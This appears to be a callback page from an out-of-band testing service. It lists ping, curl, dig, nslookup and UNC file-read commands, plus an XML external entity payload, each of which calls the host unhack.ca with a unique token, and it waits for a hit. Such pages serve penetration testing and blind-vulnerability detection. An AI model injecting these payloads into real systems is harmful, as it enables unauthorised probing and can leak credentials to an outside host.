$ ping -c1 -p 00d979ae77dee668cd3e6910ee09a000 unhack.ca
$ curl http://unhack.ca/p/d979ae77dee668cd3e6910ee09a0
$ dig d979ae77dee668cd3e6910ee09a0 @unhack.ca
$ dig d979ae77dee668cd3e6910ee09a0.ns.unhack.ca
C:\> nslookup d979ae77dee668cd3e6910ee09a0 unhack.ca
C:\> type \\unhack.ca\d979ae77dee668cd3e6910ee09a0\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/d979ae77dee668cd3e6910ee09a0">]>
<foo>&xxe;</foo>
Waiting for ping...